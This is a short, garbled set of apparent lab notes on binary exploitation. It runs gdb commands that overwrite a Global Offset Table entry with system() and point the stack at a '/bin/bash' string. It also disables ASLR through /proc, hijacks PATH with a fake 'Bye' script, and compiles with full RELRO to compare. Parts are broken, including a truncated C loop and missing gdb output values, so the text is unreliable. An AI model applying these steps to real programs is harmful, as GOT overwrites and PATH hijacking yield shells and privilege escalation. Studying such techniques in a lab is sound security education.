echo 0 > /proc/sys/kernel/randomize_va_space int i,j,k; for(i=0;i0x804b620 at 0x000025d0:.got.plt ALLOC LOAD DATA HAS_CONTENTS (gdb) x/6x 0x804b5d0 0x804b5d0 <_GLOBAL_OFFSET_TABLE_>: 0x804b5e0 : 0x804b5f0 : (gdb) b MD.c:212 (gdb) p system $11 = {}0xf7e5cc30 (gdb) set *0x804b5e0 = system (gdb) p &environ $4 = ( *) 0xf7f83d64 (gdb) x/100s *environ 0xffffc815: "SHELL=/bin/bash" (gdb) x/s 0xffffc815+6 0xffffc81b: "/bin/bash" (gdb) i r esp esp 0xffffc200 0xffffc200 (gdb) set *0xffffc200 = 0xffffc81b cat Bye #!/bin/bash /bin/bash chmod +x Bye export PATH=.:$PATH gcc -m32 -lm -Wl,-z,relro,-z,now MD.c -o MD.e32.fullrelro readelf -S ./MD.e32.fullrelro | grep .got.plt